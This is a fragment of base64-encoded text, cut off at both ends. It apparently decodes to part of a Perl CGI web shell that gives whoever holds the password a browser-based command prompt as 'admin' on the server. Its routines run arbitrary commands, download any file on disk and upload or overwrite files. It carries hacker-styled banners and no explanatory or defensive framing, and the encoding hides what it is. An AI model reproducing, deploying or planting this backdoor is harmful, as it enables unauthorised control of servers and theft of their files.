CBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJC